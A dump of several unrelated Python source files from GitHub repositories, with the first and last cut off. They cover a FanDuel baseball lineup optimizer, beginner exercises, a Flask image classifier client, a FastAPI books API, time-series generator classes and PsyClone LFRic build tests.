\"fd_hr_weight\"\n            elif remaining_stacks % 2 == 0:\n                stack_key = \"points\"\n            else:\n                stack_key = \"exp_ps_sp_pa\"\n            if lus % 2 == 0:\n                non_stack_key = \"exp_ps_sp_pa\"\n            else:\n                non_stack_key = \"points\"\n            # filter the selected stack by stack_sample arg.\n            if remaining_stacks > stack_expand_limit:\n                highest = stack_df.loc[\n                    stack_df[stack_key].nlargest(stack_sample + 1).index\n                ]\n            else:\n                highest = stack_df.loc[stack_df[stack_key].nlargest(stack_sample).index]\n            # array of fanduel ids of the selected hitters\n            stack_ids = highest[\"fd_id\"].values\n            # initial empty lineup, ordered by fanduel structed and mapped by p_map\n            lineup = [None, None, None, None, None]\n            # insert current pitcher into lineup\n\n            # try to create a 4-man stack that satifies position requirements 5 times, else 3-man stack.\n            try:\n                samp = random.sample(sorted(stack_ids), stack_size)\n            except ValueError:\n                samp = random.sample(sorted(stack_ids), stack_size - 1)\n            stack_salary = h.loc[h[\"fd_id\"].isin(samp), \"fd_salary\"].sum()\n            salary += stack_salary\n            rem_sal = max_sal - salary\n            random.shuffle(stack_ids)\n\n            for x, y in enumerate(samp):\n                lineup[x] = y\n\n            # filter out hitters on the team of the current stack, as they are already in the lineup.\n            stack_filt = h[\"team\"] != stack\n            # filter out players hitting below specified lineup spot\n            order_filt = (h[\"order\"] <= non_stack_max_order) | exempt_filt\n            # filter out players not on a team being stacked on slate and proj. points not in 90th percentile.\n            max_stack = max(stacks.values())\n            # variance default is 0\n            count_filt = h[\"t_count\"] < ((max_lu_total - max_stack) - variance)\n            plat_filt = h[\"is_platoon\"] != True\n            for y, z in enumerate(lineup):\n                if not z:\n                    # filter out players already in lineup, lineup will change with each iteration\n                    dupe_filt = ~h[\"fd_id\"].isin(lineup)\n                    # filter out players not eligible for the current position being filled.\n                    # get the ammount of roster spots that need filling.\n                    npl = len([idx for idx, spot in enumerate(lineup) if not spot])\n                    # the avgerage salary remaining for each empty lineup spot\n                    avg_sal = rem_sal / npl\n                    # filter out players with a salary greater than the average avg_sal above\n                    sal_filt = h[\"fd_salary\"] <= avg_sal\n\n                    try:\n                        hitters = h[\n                            stack_filt\n                            & dupe_filt\n                            & count_filt\n                            & sal_filt\n                            & order_filt\n                            & plat_filt\n                        ]\n                        hitter = hitters.loc[hitters[non_stack_key].idxmax()]\n                    except (KeyError, ValueError):\n                        try:\n                            hitters = h[\n                                stack_filt\n                                & dupe_filt\n                                & count_filt\n                                & sal_filt\n                                & order_filt\n                            ]\n                            hitter = hitters.loc[hitters[non_stack_key].idxmax()]\n                        except (KeyError, ValueError):\n                            try:\n                                hitters = h[\n                                    stack_filt\n                                    & dupe_filt\n                                    & count_filt\n                                    & sal_filt\n                                    & plat_filt\n                                ]\n                                hitter = hitters.loc[hitters[non_stack_key].idxmax()]\n                            except (KeyError, ValueError):\n                                try:\n                                    hitters = h[\n                                        stack_filt\n                                        & dupe_filt\n                                        & count_filt\n                                        & order_filt\n                                        & plat_filt\n                                    ]\n                                    hitter = hitters.loc[\n                                        hitters[non_stack_key].idxmax()\n                                    ]\n                                except:\n                                    hitters = h[\n                                        stack_filt\n                                        & dupe_filt\n                                        & sal_filt\n                                        & order_filt\n                                        & plat_filt\n                                    ]\n                                    hitter = hitters.loc[\n                                        hitters[non_stack_key].idxmax()\n                                    ]\n                    salary += hitter[\"fd_salary\"].item()\n                    rem_sal = max_sal - salary\n                    # if the selected hitter's salary put the lineup over the max. salary, try to find replacement.\n                    if rem_sal < 0:\n                        r_sal = hitter[\"fd_salary\"].item()\n                        try:\n                            salary_df = hitters[\n                                (hitters[\"fd_salary\"] <= (r_sal + rem_sal))\n                            ]\n                            hitter = salary_df.loc[hitters[non_stack_key].idxmax()]\n                            salary += hitter[\"fd_salary\"]\n                            salary -= r_sal\n                            rem_sal = max_sal - salary\n                        except (ValueError, KeyError):\n                            try:\n                                hitters = h[stack_filt & dupe_filt]\n                                salary_df = hitters[\n                                    (hitters[\"fd_salary\"] <= (r_sal + rem_sal))\n                                ]\n                                hitter = salary_df.loc[hitters[non_stack_key].idxmax()]\n                                salary += hitter[\"fd_salary\"]\n                                salary -= r_sal\n                                rem_sal = max_sal - salary\n\n                            except (KeyError, ValueError):\n                                reset = True\n                                print(\"resetting\")\n                                break\n\n                    h_id = hitter[\"fd_id\"]\n                    lineup[y] = h_id\n                    used_players = []\n                    print(lineup)\n\n            while not reset and lineup[0:2] + sorted(lineup[2:5]) in sorted_lus:\n                mvp = lineup[0]\n                all_star = lineup[1]\n                potential_lu = lineup[0:2] + sorted(lineup[2:5])\n                potential_lu[0] = all_star\n                potential_lu[1] = mvp\n                if potential_lu not in sorted_lus:\n                    lineup = potential_lu\n                    break\n                try:\n                    # redeclare use_teams each pass\n                    h_df = h[h[\"fd_id\"].isin(lineup)]\n                    # append players already attempted to used_players and filter them out each loop\n                    used_filt = ~h[\"fd_id\"].isin(used_players)\n                    dupe_filt = ~h[\"fd_id\"].isin(lineup)\n                    utility = h[h[\"fd_id\"] == lineup[4]]\n                    used_players.append(utility[\"fd_id\"])\n                    r_salary = utility[\"fd_salary\"].item()\n                    # only use players with a salary between the (util's salary - util_replace_filt) and maxiumum salary.\n                    sal_filt = h[\"fd_salary\"].between(\n                        (r_salary - util_replace_filt), (rem_sal + r_salary)\n                    )\n                    # don't use players on team against current pitcher\n                    hitters = h[\n                        dupe_filt\n                        & sal_filt\n                        & used_filt\n                        & count_filt\n                        & stack_filt\n                        & order_filt\n                        & plat_filt\n                    ]\n                    hitter = hitters.loc[hitters[non_stack_key].idxmax()]\n                    used_players.append(hitter[\"fd_id\"])\n                    salary += hitter[\"fd_salary\"].item()\n                    salary -= utility[\"fd_salary\"].item()\n                    rem_sal = max_sal - salary\n                    lineup[4] = hitter[\"fd_id\"]\n                    h_df = h[h[\"fd_id\"].isin(lineup)]\n                # same as above, but no fade_filt and increasing minimum thresehold by 100.\n                except (KeyError, ValueError):\n                    try:\n                        # redeclare use_teams each pass\n                        h_df = h[h[\"fd_id\"].isin(lineup)]\n                        # append players already attempted to used_players and filter them out each loop\n                        used_filt = ~h[\"fd_id\"].isin(used_players)\n                        dupe_filt = ~h[\"fd_id\"].isin(lineup)\n                        utility = h[h[\"fd_id\"] == lineup[3]]\n                        used_players.append(utility[\"fd_id\"])\n                        r_salary = utility[\"fd_salary\"].item()\n                        # only use players with a salary between the (util's salary - util_replace_filt) and maxiumum salary.\n                        sal_filt = h[\"fd_salary\"].between(\n                            (r_salary - util_replace_filt), (rem_sal + r_salary)\n                        )\n                        # don't use players on team against current pitcher\n                        hitters = h[\n                            dupe_filt\n                            & sal_filt\n                            & used_filt\n                            & count_filt\n                            & stack_filt\n                            & order_filt\n                            & plat_filt\n                        ]\n                        hitter = hitters.loc[hitters[non_stack_key].idxmax()]\n                        used_players.append(hitter[\"fd_id\"])\n                        salary += hitter[\"fd_salary\"].item()\n                        salary -= utility[\"fd_salary\"].item()\n                        rem_sal = max_sal - salary\n                        lineup[3] = hitter[\"fd_id\"]\n                        h_df = h[h[\"fd_id\"].isin(lineup)]\n                    except (KeyError, ValueError):\n                        reset = True\n                        print(\"resetting\")\n                        break\n            if reset == True:\n                continue\n            #!!the lineup meets all parameters at this point.!!\n            # decrease lus arg, loop ends at 0.\n            lus -= 1\n            # append the new lineup to the sorted lus list for next loop.\n            sorted_lus.append(lineup[0:2] + sorted(lineup[2:5]))\n            # insert the lineup in the lineup df\n            self.insert_lineup(index_track, lineup)\n            # increase index for next lineup insertion.\n            index_track += 1\n            # decrease the current stack's value, so it won't be attempted once it reaches 0.\n            s[stack] -= 1\n            # keep track of total insertions and stack insertions, players exceeding max_lu_total will be dropped next loop.\n            lu_filt = h[\"fd_id\"].isin(lineup)\n            h.loc[lu_filt, \"t_count\"] += 1\n            h.loc[lu_filt & stack_filt, \"ns_count\"] += 1\n            # print(lus)\n            # print(index_track)\n            print(salary)\n            print(lus)\n            # keep track of players counts, regardless if they're eventually dropped.\n            h_count_df.loc[(h_count_df[\"fd_id\"].isin(lineup)), \"t_count\"] += 1\n\n        # dump the counts into pickled df for analysis\n        h_count_file = pickle_path(\n            name=f\"h_counts_{tf.today}_{self.slate_number}\", directory=settings.FD_DIR\n        )\n\n        with open(h_count_file, \"wb\") as f:\n            pickle.dump(h_count_df, f)\n\n        return sorted_lus\n","repo_name":"polinonicholas/dfs_tools_mlb","sub_path":"compile/fanduel_single.py","file_name":"fanduel_single.py","file_ext":"py","file_size_in_byte":24756,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"29105179375","text":"pessoas = list()\ndados = dict()\nmedia = 0\n\nwhile True:\n    \n    dados['nome'] = input(\"\\nNome: \").strip()\n    \n    while True:\n        \n        dados['sexo'] = input(\"Sexo: [M/F] \").strip().upper()\n        \n        if dados['sexo'] in ['M','F']: break\n    \n    dados['idade'] = int(input(\"Idade: \"))\n    media += dados['idade']\n    \n    pessoas.append(dados.copy())\n    \n    while True:\n        \n        op = input(\"\\nQuer continuar: [S/N] \").strip().upper()\n        \n        if op in ['S','N']: break\n    \n    if op == 'N': break\n\nmedia /= len(pessoas)\n    \nprint('', '-=' * 30, '', sep='\\n')\n\nprint(f'A) Ao todo temos {len(pessoas)} pessoas cadastradas.')\nprint(f'B) A média de idade é de {media} anos.')\nprint(f'C) As mulheres cadastradas foram ', end='')\n\nfor pessoa in pessoas:\n    \n    if pessoa['sexo'] == 'F':\n        print(f'[{pessoa[\"nome\"]}]', end=' ')\n    \nprint(f'\\nD) Lista das pessoas que estão acima da média:')\n\nfor pessoa in pessoas:\n    \n    if pessoa['idade'] >= media:\n        print(f'\\t nome = {pessoa[\"nome\"]}; sexo = {pessoa[\"sexo\"]}; idade = {pessoa[\"idade\"]};')\n    \nprint()","repo_name":"henrique-tavares/Coisas","sub_path":"Python/Mundo 3/ex094.py","file_name":"ex094.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"1253352385","text":"# read experiment data from excel file\nfrom operator import itemgetter\nimport pandas as pd\nimport numpy as np\n\n\ndef readExpDataSorted(fileName, flagPercent, flagTrueStrainStress):\n    \"\"\"\n    Parameters\n    -----------------\n    fileName:\n        experimental data file name including directory information\n    flagPercent:\n        to check whether strain is measured in percent (%) form\n        0: correct form, strain = 0.01,0.02, etc\n        1: percent form, strain = 0.01 should actually be 0.01%.\n            therefore, should * 0.01 to strain_exp list\n    flagTrueStrainStress:\n        controls whether convert exp data into true strain stress data\n        0: not convert, this means maybe we dont need true strain stress\n            data, or the exp data has been converted to true strain stress\n        1: convert exp data to true strain stress data by the following\n            equation: \n            sigma_true = sigma_engineering * (1 + epsilon_engineering)\n            epsilon_true = ln(1 + epsilon_engineering)\n\n    Return:\n    -----------------\n    strain_exp and stress_exp lists sorted following strain_exp list\n        in an ascending order\n    \n    strain_exp:\n        strain values in a list form\n    stress_exp:\n        stress values in a list form\n    \"\"\"\n    df = pd.read_excel(fileName)\n\n    # check flagPercent\n    if flagPercent == 1:\n        strain_exp = df.values[:, 0] * 0.01\n    else:\n        strain_exp = df.values[:, 0]\n\n    stress_exp = df.values[:, 1]\n\n    # ###################################################################\n    # sort it to avoid possible fatal errors\n    # assemble into a 2d list\n    strain_stress_exp = list(zip(strain_exp, stress_exp))\n    # sort it\n    strain_stress_exp.sort(key=itemgetter(0), reverse=False)\n    # get 1st column in strain_stress_exp\n    strain_exp = [i[0] for i in strain_stress_exp]\n    # get 2nd column in strain_stress_exp\n    stress_exp = [i[1] for i in strain_stress_exp]\n\n    # convert to true strain stress data when flagTrueStrainStress == 1\n    if flagTrueStrainStress == 1:\n        stress_exp = [item * (1 + strain_exp[index]) for\n                      index, item in enumerate(stress_exp)]\n        strain_exp = [np.log(1 + i) for i in strain_exp]\n\n    return strain_exp, stress_exp\n","repo_name":"earthexploration/test_zoopt_abaqus_new","sub_path":"user_utils/readExpDataSorted.py","file_name":"readExpDataSorted.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"45013384803","text":"def fibonacci(n,count):\n    if(n==0):\n      count[0] += 1 \n      return 0\n    elif (n==1):\n      count[1] += 1\n      return 1\n    else:\n       return fibonacci(n-1,count) + fibonacci(n-2,count)\n\nT = int(input())\nT_list = []\n\nfor i in range(T):\n  T_list.append(int(input()))\n\nfor i in range(T):\n  count = [0,0]\n  fibonacci(T_list[i],count)\n  print(str(count[0]) + ' ' + str(count[1]))\n# 파이썬은 list, dict, set와 같이 mutable object가 argument로 넘어가면\n# object reference가 넘어가서 담고 있는 값을 바꿀 수 있다\n# immutable object인 int, float, str, tuples 등은 단일 값이거나 static 속성\n# 하지만 이렇게 재귀형식으로 푼다면 오류!!(시간제한)\n    ","repo_name":"ysheep0906/Coding-Test","sub_path":"BOJ_1003/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42345133448","text":"from flask import Flask, render_template, request\n\nfrom base64 import b64decode, b64encode\nimport cv2\nimport io\nimport json\n\nimport requests\nimport numpy as np\n\n\napp = Flask(__name__)\n\n\ndef preprocess_image(image_file_path, max_width, max_height):\n    \"\"\"Preprocesses input images for AutoML Vision Edge models.\n\n    Args:\n        image_file_path: Path to a local image for the prediction request.\n        max_width: The max width for preprocessed images. The max width is 640\n            (1024) for AutoML Vision Image Classfication (Object Detection)\n            models.\n        max_height: The max width for preprocessed images. The max height is\n            480 (1024) for AutoML Vision Image Classfication (Object\n            Detetion) models.\n    Returns:\n        The preprocessed encoded image bytes.\n    \"\"\"\n    # cv2 is used to read, resize and encode images.\n    encode_param = [int(cv2.IMWRITE_JPEG_QUALITY), 85]\n    # im = cv2.imread(image_file_path)\n    # im=request.files.get('image')\n    # im = cv2.imdecode(np.frombuffer(io_buf.getbuffer(), np.uint8), -1)\n    im=image_file_path\n    [height, width, _] = im.shape\n    if height > max_height or width > max_width:\n        ratio = max(height / float(max_width), width / float(max_height))\n        new_height = int(height / ratio + 0.5)\n        new_width = int(width / ratio + 0.5)\n        resized_im = cv2.resize(\n            im, (new_width, new_height), interpolation=cv2.INTER_AREA)\n        _, processed_image = cv2.imencode('.jpg', resized_im, encode_param)\n    else:\n        _, processed_image = cv2.imencode('.jpg', im, encode_param)\n\n    print(\"imagepreprocessed\")\n    return b64encode(processed_image).decode('utf-8')\n\ndef container_predict(image_file_path, image_key, port_number=8501):\n    \"\"\"Sends a prediction request to TFServing docker container REST API.\n\n    Args:\n        image_file_path: Path to a local image for the prediction request.\n        image_key: Your chosen string key to identify the given image.\n        port_number: The port number on your device to accept REST API calls.\n    Returns:\n        The response of the prediction request.\n    \"\"\"\n    # AutoML Vision Edge models will preprocess the input images.\n    # The max width and height for AutoML Vision Image Classification and\n    # Object Detection models are 640*480 and 1024*1024 separately. The\n    # example here is for Image Classification models.\n    encoded_image = preprocess_image(\n        image_file_path=image_file_path, max_width=640, max_height=480)\n\n    # The example here only shows prediction with one image. You can extend it\n    # to predict with a batch of images indicated by different keys, which can\n    # make sure that the responses corresponding to the given image.\n    # instances = {\n    #         'instances': [\n    #                 {'image_bytes': {'b64': str(encoded_image)},\n    #                  'key': image_key}\n    #         ]\n    # }\n    #\n    # # This example shows sending requests in the same server that you start\n    # # docker containers. If you would like to send requests to other servers,\n    # # please change localhost to IP of other servers.\n    # url = 'http://0.0.0.0:{}/v1/models/default:predict'.format(port_number)\n    #\n    # response = requests.post(url, data=json.dumps(instances))\n    #\n    # response1 = json.loads(response.content)\n\n    payload = {\n        'instances': [\n            {'image_bytes': {'b64': str(encoded_image)},\n             'key': image_key}\n        ]\n    }\n\n    # This example shows sending requests in the same server that you start\n    # docker containers. If you would like to send requests to other servers,\n    # please change localhost to IP of other servers.\n    url = 'http://0.0.0.0:{}/v1/models/default:predict'.format(port_number)\n    url = 'https://dog-classifier-x2cqll44ga-ew.a.run.app/v1/models/default:predict'\n    response = requests.post(url, data=json.dumps(payload))\n    print(\"here\")\n    # print(response.content)\n    # print(type(response.content))\n    response1 = json.loads(response.content)\n\n    x = response1[\"predictions\"][0][\"scores\"]\n    max_value = max(x)\n    max_index = x.index(max_value)\n    breed = response1[\"predictions\"][0][\"labels\"][max_index]\n\n    print(type(x))\n    print(x)\n    print(breed)\n    return breed\n\n\n# def predict_label(img_path):\n#     i = image.load_img(img_path, target_size=(100,100))\n# \ti = image.img_to_array(i)/255.0\n# \ti = i.reshape(1, 100,100,3)\n# \tp = model.predict_classes(i)\n# \treturn dic[p[0]]\n\n\n# routes\n@app.route(\"/\", methods=['GET', 'POST'])\ndef main():\n    return render_template(\"index.html\")\n\n@app.route(\"/about\")\ndef about_page():\n    return \"Please subscribe  Artificial Intelligence Hub..!!!\"\n\n@app.route(\"/submit\", methods = ['GET', 'POST'])\ndef get_output():\n    if request.method == 'POST':\n        img = request.files['my_image']\n        imgr=img.read()\n        img_b64 = b64encode(imgr).decode()\n        img_src = 'data:{};base64,{}'.format(img.content_type, img_b64)\n        npimg = np.fromstring(imgr, np.uint8)\n        img = cv2.imdecode(npimg, cv2.IMREAD_UNCHANGED)\n        # p = container_predict(img, \"1\", 8501)\n\n        # img_path = \"tmp/\" + img.filename\n        # img.save(img_path)\n        img_path=img\n        print(type(img_path))\n\n        p= container_predict(img_path,\"1\",8501)\n        # p = predict_label(img_path)\n\n    return render_template(\"index.html\", prediction = p, img_path = img_src)\n\n\nif __name__ =='__main__':\n    #app.debug = True\n    app.run(host='0.0.0.0', port=5000)","repo_name":"richardrengel/complaint_triage","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27446605989","text":"from __future__ import annotations\n\n__all__ = [\n    \"BasePeriodicTimeSeriesGenerator\",\n    \"is_periodic_timeseries_generator_config\",\n    \"setup_periodic_timeseries_generator\",\n]\n\nimport logging\nfrom abc import ABC, abstractmethod\n\nfrom objectory import AbstractFactory\nfrom objectory.utils import is_object_config\nfrom redcat import BatchDict\nfrom torch import Generator\n\nfrom startorch.utils.format import str_target_object\n\nlogger = logging.getLogger(__name__)\n\n\nclass BasePeriodicTimeSeriesGenerator(ABC, metaclass=AbstractFactory):\n    r\"\"\"Defines the base class to generate periodic time series.\n\n    A child class has to implement the ``generate`` method.\n\n    Example usage:\n\n    .. code-block:: pycon\n\n        Example usage:\n\n    .. code-block:: pycon\n\n        >>> from startorch.periodic.timeseries import Repeat\n        >>> from startorch.timeseries import TimeSeries\n        >>> from startorch.sequence import RandUniform\n        >>> generator = Repeat(TimeSeries({\"value\": RandUniform(), \"time\": RandUniform()}))\n        >>> generator\n        RepeatPeriodicTimeSeriesGenerator(\n          (generator): TimeSeriesGenerator(\n              (value): RandUniformSequenceGenerator(low=0.0, high=1.0, feature_size=(1,))\n              (time): RandUniformSequenceGenerator(low=0.0, high=1.0, feature_size=(1,))\n            )\n        )\n        >>> generator.generate(seq_len=12, period=4, batch_size=4)\n        BatchDict(\n          (value): tensor([[...]], batch_dim=0, seq_dim=1)\n          (time): tensor([[...]], batch_dim=0, seq_dim=1)\n        )\n    \"\"\"\n\n    @abstractmethod\n    def generate(\n        self, seq_len: int, period: int, batch_size: int = 1, rng: Generator | None = None\n    ) -> BatchDict:\n        r\"\"\"Generates a batch of periodic time series.\n\n        All the time series in the batch have the same length.\n\n        Args:\n        ----\n            seq_len (int): Specifies the sequence length.\n            period (int): Specifies the period.\n            batch_size (int, optional): Specifies the batch size.\n                Default: ``1``\n            rng (``torch.Generator`` or None, optional): Specifies\n                an optional random number generator. Default: ``None``\n\n        Returns:\n        -------\n            ``BatchDict``: A batch of periodic time series.\n\n        Example usage:\n\n        .. code-block:: pycon\n\n            >>> from startorch.periodic.timeseries import Repeat\n            >>> from startorch.timeseries import TimeSeries\n            >>> from startorch.sequence import RandUniform\n            >>> generator = Repeat(TimeSeries({\"value\": RandUniform(), \"time\": RandUniform()}))\n            >>> generator.generate(seq_len=12, period=4, batch_size=4)\n            BatchDict(\n              (value): tensor([[...]], batch_dim=0, seq_dim=1)\n              (time): tensor([[...]], batch_dim=0, seq_dim=1)\n            )\n        \"\"\"\n\n\ndef is_periodic_timeseries_generator_config(config: dict) -> bool:\n    r\"\"\"Indicates if the input configuration is a configuration for a\n    ``BasePeriodicTimeSeriesGenerator``.\n\n    This function only checks if the value of the key  ``_target_``\n    is valid. It does not check the other values. If ``_target_``\n    indicates a function, the returned type hint is used to check\n    the class.\n\n    Args:\n    ----\n        config (dict): Specifies the configuration to check.\n\n    Returns:\n    -------\n        bool: ``True`` if the input configuration is a configuration\n            for a ``BasePeriodicTimeSeriesGenerator`` object.\n\n    Example usage:\n\n    .. code-block:: pycon\n\n        >>> from startorch.periodic.timeseries import is_periodic_timeseries_generator_config\n        >>> is_periodic_timeseries_generator_config(\n        ...     {\n        ...         \"_target_\": \"startorch.periodic.timeseries.Repeat\",\n        ...         \"generator\": {\n        ...             \"_target_\": \"startorch.timeseries.TimeSeries\",\n        ...             \"sequences\": {\n        ...                 \"value\": {\"_target_\": \"startorch.sequence.RandUniform\"},\n        ...                 \"time\": {\"_target_\": \"startorch.sequence.RandUniform\"},\n        ...             },\n        ...         },\n        ...     }\n        ... )\n        True\n    \"\"\"\n    return is_object_config(config, BasePeriodicTimeSeriesGenerator)\n\n\ndef setup_periodic_timeseries_generator(\n    generator: BasePeriodicTimeSeriesGenerator | dict,\n) -> BasePeriodicTimeSeriesGenerator:\n    r\"\"\"Sets up a periodic time series generator.\n\n    The time series generator is instantiated from its configuration by\n    using the ``BasePeriodicTimeSeriesGenerator`` factory function.\n\n    Args:\n    ----\n        generator (``BasePeriodicTimeSeriesGenerator`` or dict): Specifies a\n            periodic time series generator or its configuration.\n\n    Returns:\n    -------\n        ``BasePeriodicTimeSeriesGenerator``: A periodic time series generator.\n\n    Example usage:\n\n    .. code-block:: pycon\n\n        >>> from startorch.periodic.timeseries import setup_periodic_timeseries_generator\n        >>> setup_periodic_timeseries_generator(\n        ...     {\n        ...         \"_target_\": \"startorch.periodic.timeseries.Repeat\",\n        ...         \"generator\": {\n        ...             \"_target_\": \"startorch.timeseries.TimeSeries\",\n        ...             \"sequences\": {\n        ...                 \"value\": {\"_target_\": \"startorch.sequence.RandUniform\"},\n        ...                 \"time\": {\"_target_\": \"startorch.sequence.RandUniform\"},\n        ...             },\n        ...         },\n        ...     }\n        ... )\n        RepeatPeriodicTimeSeriesGenerator(\n          (generator): TimeSeriesGenerator(\n              (value): RandUniformSequenceGenerator(low=0.0, high=1.0, feature_size=(1,))\n              (time): RandUniformSequenceGenerator(low=0.0, high=1.0, feature_size=(1,))\n            )\n        )\n    \"\"\"\n    if isinstance(generator, dict):\n        logger.info(\n            \"Initializing a periodic time series generator from its configuration... \"\n            f\"{str_target_object(generator)}\"\n        )\n        generator = BasePeriodicTimeSeriesGenerator.factory(**generator)\n    if not isinstance(generator, BasePeriodicTimeSeriesGenerator):\n        logger.warning(\n            f\"generator is not a `BasePeriodicTimeSeriesGenerator` (received: {type(generator)})\"\n        )\n    return generator\n","repo_name":"durandtibo/startorch","sub_path":"src/startorch/periodic/timeseries/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":6335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38920265804","text":"from fastapi import FastAPI\nfrom pydantic import BaseModel,Field\nfrom typing import Optional\nfrom uuid import UUID\n\n\napp = FastAPI()\n\nclass Book(BaseModel):\n    id:UUID\n    title: str = Field(min_length=1) # Data validation\n    author: str = Field(min_length=1,max_length=100)\n    description: Optional[str] = Field(title=\"Description of the book\",min_length = 1,max_length=100)\n    rating : int = Field(gt=-1,lt=101)\n\n\nBooks = []\n\n@app.get(\"/\")\nasync def read_all_books():\n    if len(Books)<=0:\n        create_books_no_api()\n    return Books\n\n@app.post(\"/createbook\")\nasync def create_book(book:Book):\n    Books.append(book)\n    return book\n\n#How to add books to book list when BOOKS list is empty\n\ndef create_books_no_api():\n    book1 = Book(id=\"7adfeeec-6a3f-437a-8d19-2743c4edb9f4\",\n    title = \"Computers\",\n    author = \"Charless\",\n    description= \"Description1\",\n    rating= 90)\n    book2 = Book(id=\"7adfeeec-6a3f-437a-8d19-2743c4edb9f5\",\n    title = \"Maths\",\n    author = \"Venkat\",\n    description= \"Description1\",\n    rating= 99)\n    book3 = Book(id=\"7adfeeec-6a3f-437a-8d19-2743c4edb9f6\",\n    title = \"Python\",\n    author = \"GVANR\",\n    description= \"Description1\",\n    rating= 100)\n\n    Books.append(book1)\n    Books.append(book2)\n    Books.append(book3)\n\n# Get books by passing UUID\n@app.get(\"/books/book_id\")\nasync  def read_book_by_id(book_id:UUID):\n    for x in Books:\n        if x.id == book_id:\n            return x\n    return {\"Message\":\"UUID not matched\"}\n\n# update book by passing id\n@app.put(\"/{book_id}\")\nasync  def update_book(book_id:UUID,book:Book):\n    count =0\n    for x in Books:\n        count += 1\n        if x.id == book_id:\n            Books[count-1] = book\n        return Books[count-1]\n\n# Delete book\n@app.delete(\"/{book_id}\")\nasync def delete_book(book_id:UUID):\n    counter =0\n    for x in Books:\n        counter +=1\n        if x.id == book_id:\n            del Books[counter -1]\n            return f'Deleted book id is {x.id}'","repo_name":"venkateshn301/FASTAPI","sub_path":"book.py","file_name":"book.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34301073001","text":"import os\nimport subprocess\nimport pytest\n\nfrom psyclone.tests.lfric_build import LFRicBuild\nfrom psyclone.tests.utilities import Compile, CompileError\n\n\n@pytest.fixture(name=\"enable_compilation\")\ndef protect_infrastructure_path_fixture(monkeypatch):\n    '''A pytest fixture that mocks testing with compilation enabled while\n    ensuring that any pre-existing LFRicBuild._compilation_path is\n    preserved.'''\n    # Pretend that the infrastructure has already been built so that the\n    # LFRicBuild constructor doesn't attempt to trigger it.\n    monkeypatch.setattr(LFRicBuild, \"_infrastructure_built\", True)\n    # Pretend that compilation testing is enabled.\n    monkeypatch.setattr(Compile, \"TEST_COMPILE\", True)\n    # If compilation testing is enabled then the infrastructure lib will\n    # already have been built so we use monkeypatch to ensure its\n    # location is automatically restored at the end of this test.\n    monkeypatch.setattr(LFRicBuild, \"_compilation_path\", \"/no/path\")\n\n\ndef test_lf_build_get_infrastructure_flags(monkeypatch, tmpdir):\n    '''\n    Test the get_infrastructure_flags method.\n\n    '''\n    # Pretend that compilation testing is disabled.\n    monkeypatch.setattr(Compile, \"TEST_COMPILE\", False)\n    builder = LFRicBuild(tmpdir)\n    flags = builder.get_infrastructure_flags()\n    dir_list = []\n    for idx, flag in enumerate(flags):\n        if idx % 2 == 0:\n            assert flag == '-I'\n        else:\n            # Just keep a list of the base directories\n            dir_list.append(os.path.split(flag)[1])\n    assert 'configuration' in dir_list\n    assert 'function_space' in dir_list\n    assert 'field' in dir_list\n\n\n@pytest.mark.usefixtures(\"enable_compilation\")\ndef test_lfric_build_compiler_flags(tmpdir, monkeypatch):\n    '''\n    Check that the compiler settings supplied to pytest are passed through\n    when building the (stub) LFRic infrastructure.\n\n    '''\n    def fake_popen(arg_list, stdout=None, stderr=None):\n        '''Mock implementation of Popen that just raises an Exception.'''\n        raise OSError(f\"arg_list = {arg_list}\")\n\n    # Monkeypatch subprocess.Popen so that it just raises an exception.\n    monkeypatch.setattr(subprocess, \"Popen\", fake_popen)\n    builder = LFRicBuild(tmpdir)\n    # Set-up a custom compiler and flags.\n    builder._f90 = \"my_compiler\"\n    builder._f90flags = \"-my -special -flags\"\n    # Finally, check that these get passed through to the call to Popen when\n    # the infrastructure is built.\n    with pytest.raises(CompileError) as err:\n        builder._build_infrastructure()\n    assert (\"['make', 'F90=my_compiler', 'F90FLAGS=-my -special -flags', '-f'\"\n            in str(err.value))\n\n\n@pytest.mark.usefixtures(\"enable_compilation\")\ndef test_lfric_build_infrastructure(tmpdir, monkeypatch):\n    '''\n    Test the _build_infrastructure method when compilation appears to proceed\n    (i.e. the Popen.subprocess() command completes without raising an\n    exception). Test with a return status of both 0 (success) and 1 (fail).\n\n    '''\n    class Build():\n        '''Mock object for use when monkeypatching Popen.'''\n        RETURN_CODE = 1\n\n        def __init__(self):\n            self.returncode = Build.RETURN_CODE\n\n        def __enter__(self):\n            return self\n\n        def __exit__(self, _1, _2, _3):\n            return\n\n        def communicate(self):\n            '''\n            :returns: fake stdout output.\n            :rtype: Tuple[bytes, NoneType]\n            '''\n            return (bytes(\"fake_out\", \"utf-8\"), None)\n\n    def fake_popen(arg_list, stdout=None, stderr=None):\n        '''Mock implementation of Popen that just returns a Build instance.'''\n        # pylint: disable=unused-argument\n        return Build()\n\n    # Monkeypatch subprocess.Popen so that compilation appears to run but\n    # returns a status of 1.\n    monkeypatch.setattr(subprocess, \"Popen\", fake_popen)\n    builder = LFRicBuild(tmpdir)\n    with pytest.raises(CompileError) as err:\n        builder._build_infrastructure()\n    assert \"Compile error: fake_out\" in str(err.value)\n    # Repeat but alter the Build class to mock a successful build (return\n    # status of 0).\n    monkeypatch.setattr(Build, \"RETURN_CODE\", 0)\n    monkeypatch.setattr(LFRicBuild, \"_infrastructure_built\", False)\n    builder._build_infrastructure()\n    # Check that the '_infrastructure_built' flag is set after a successful\n    # build.\n    assert LFRicBuild._infrastructure_built is 